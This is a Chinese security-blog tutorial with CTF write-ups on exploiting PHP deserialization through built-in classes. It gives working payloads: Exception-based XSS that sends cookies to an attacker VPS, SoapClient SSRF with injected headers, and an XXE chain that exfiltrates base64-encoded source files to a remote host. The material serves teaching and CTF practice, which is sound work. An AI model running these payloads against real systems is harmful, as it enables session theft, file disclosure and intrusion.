第74天-PHP反序列化大杀器:无需自定义类,原生类照样Getshell!

admin 2026-03-10 02:24:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文阐述PHP反序列化漏洞中利用原生类替代自定义类的高级攻击技巧。重点解析了利用Exception类触发XSS、SoapClient实施SSRF及SimpleXMLElement进行XXE的原理与Payload构造,并结合CTF实例演示。该方法具备普适性与隐蔽性,在无可用自定义类时极具实战价值,为安全研究人员提供了关键思路与操作指南。 综合评分: 89 文章分类: 渗透测试,WEB安全,漏洞分析,CTF


cover_image

第74天-PHP反序列化大杀器:无需自定义类,原生类照样Getshell!

原创

Сяо Яо Сяо Яо

AlphaNet

2026年3月9日 09:39 韩国

嘿,各位未来的白帽黑客们!👋 在PHP反序列化漏洞的利用中,我们通常的思路是寻找目标代码中已经定义好的、存在缺陷的类来构造POP链。但如果代码里没有现成的“玩具”怎么办?难道就束手无策了吗?

当然不!今天,就让我们一起探索一个更深层次、也更“致命”的技巧——利用PHP原生自带的类来搞事情! 💥

即使目标代码中一个可利用的类都没有,我们依然可以借助PHP的“出厂设置”,轻松实现XSS、SSRF甚至XXE攻击。准备好了吗?发车!


🧐 是什么:PHP原生类反序列化?

简单来说,PHP原生类反序列化是指在反序列化过程中,我们利用PHP语言环境中默认就存在的类(如 Exception, SoapClient, SimpleXMLElement 等),而非目标Web应用自己编写的类,来构造利用链(POP Chain)。

这就好比你潜入一个房间,发现主人没有留下任何可以利用的工具。但你转念一想,房间里总有椅子、台灯这些“标配”吧?于是你拿起椅子砸开了窗户。这里的“椅子”和“台灯”,就是PHP的原生类。


🤔 为什么:原生类如此强大?

利用原生类的核心优势在于其 普适性和隐蔽性

普适性 (Universality)

只要目标环境是PHP,这些类大概率就存在。我们无需费心去寻找和分析目标应用的源码,大大降低了漏洞利用的前置条件。

隐蔽性 (Stealth)

很多安全检测和防御措施都聚焦于应用自身的代码,而对这些平平无奇的原生类的危险操作却可能疏于防范。


利用前提

  1. 存在反序列化入口:代码中必须有 unserialize() 函数,并且其参数是用户可控的

  2. 触发关键魔术方法:如 __toString__call__construct

  3. PHP扩展开启:如 SoapClient 需要 php-soap


小技巧:如何寻找可用的原生类?

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__construct', '__destruct', '__toString', '__wakeup',
            '__call', '__callStatic', '__get', '__set', '__isset',
            '__unset', '__invoke', '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

🛠️ 怎么做:三大原生类实战演练


🎯 1. Error / Exception → XSS

触发点

__toString() 魔术方法

攻击原理

Exception::__toString() 会返回错误信息字符串

如果 payload 被 echo 输出 → 触发 XSS


场景模拟

<?php
highlight_file(__file__);
// unserialize() 从GET参数'code'中获取数据
$a = unserialize($_GET['code']);
// echo 将对象转换为字符串,触发 __toString()
echo $a;
?>

Payload生成

<?php
// 1. 新建一个Exception对象,消息为XSS payload
$a = new Exception("<script>alert('You are hacked!')</script>");
// 2. 序列化对象
$serialized_obj = serialize($a);
// 3. URL编码后,作为参数提交
echo urlencode($serialized_obj);
?>

实战案例 BJDCTF 2nd – xss之光

<?php
$poc = new Exception("<script>window.open('http://your-vps-ip/?cookie='+document.cookie);</script>");
echo urlencode(serialize($poc));
?>

📡 2. SoapClient → SSRF

触发点

__call()

攻击原理

调用不存在方法 → SoapClient::__call()

自动向 location 发送 HTTP 请求


场景模拟

<?php
$s = unserialize($_GET['ssrf']);
// 调用一个不存在的方法 a(),这将触发 __call()
$s->a();
?>

Payload生成

<?php
// 1. 构造SoapClient对象
// 第一个参数为null,因为我们不关心WSDL
// 第二个参数是关键,在数组中设置 location 和 uri
$a = new SoapClient(null, array(
    'location' => 'http://192.168.1.1:8080/admin', // 目标服务器要去请求的地址
    'uri'      => 'http://any-uri.com' // uri可以任意填写
));

// 2. 序列化并输出
$b = serialize($a);
echo urlencode($b);
?>

实战案例 CTFSHOW-259

<?php
// \r\n 用于换行,注入额外的HTTP头和POST请求体
$ua="evil_payload\r\n" .
    "X-Forwarded-For: 127.0.0.1\r\n" .
    "Content-Type: application/x-www-form-urlencoded\r\n" .
    "Content-Length: 13\r\n\r\n" .
    "token=ctfshow";

$client = new SoapClient(null, array(
    'uri'        => 'http://127.0.0.1/',
    'location'   => 'http://127.0.0.1/flag.php',
    'user_agent' => $ua
));

echo urlencode(serialize($client));
?>

📄 3. SimpleXMLElement → XXE

触发点

__construct()

攻击原理

SimpleXMLElement 可以从 URL 加载 XML

开启 LIBXML_NOENT → 解析外部实体 → XXE


Payload生成

<?php
// 构造一个SimpleXMLElement对象
// 参数1: 恶意XML文件的URL
// 参数2: 选项,2代表 LIBXML_NOENT,是触发XXE的关键
// 参数3: data_is_url,设置为true,表示第一个参数是URL
$sxe = new SimpleXMLElement('http://evil.com/xxe.xml', 2, true);
$a = serialize($sxe);
echo $a;
?>

实战案例 SUCTF 2018 – Homework

第一层 payload

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://vps/send.xml">
%remote;
%all;
%send;
]>

第二层 payload

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=x.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://vps/send.php?file=%file;'>">

接收端

<?php
file_put_contents("result.txt", $_GET['file']);
?>

✨ 总结时刻

让我们回顾一下今天的核心知识点:

核心思想

即使没有可用的自定义类,PHP原生类也是反序列化漏洞利用的强大武器。

Exception

利用 __toString()

可实现 XSS

SoapClient

利用 __call()

可实现 SSRF

SimpleXMLElement

利用 __construct()

可实现 XXE


今天的分享就到这里!你是否对PHP反序列化的威力有了全新的认识?这些技巧在CTF竞赛和真实世界的渗透测试中都非常实用。

🤔 思考一下

除了这三个类,你还能在PHP手册或者通过我们提供的脚本找到其他可以利用的原生类吗?

欢迎在评论区留下你的发现和脑洞!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet Сяо Яо Сяо Яо《第74天-PHP反序列化大杀器:无需自定义类,原生类照样Getshell!》

云上的ssrf利用 网络安全文章

云上的ssrf利用

文章总结: 该文档深入探讨云环境下的SSRF漏洞利用,指出云组件互信机制使得SSRF危害倍增,攻击者可窃取元数据服务中的临时凭证以接管云账户。文中结合腾讯云与阿
评论:0   参与:  0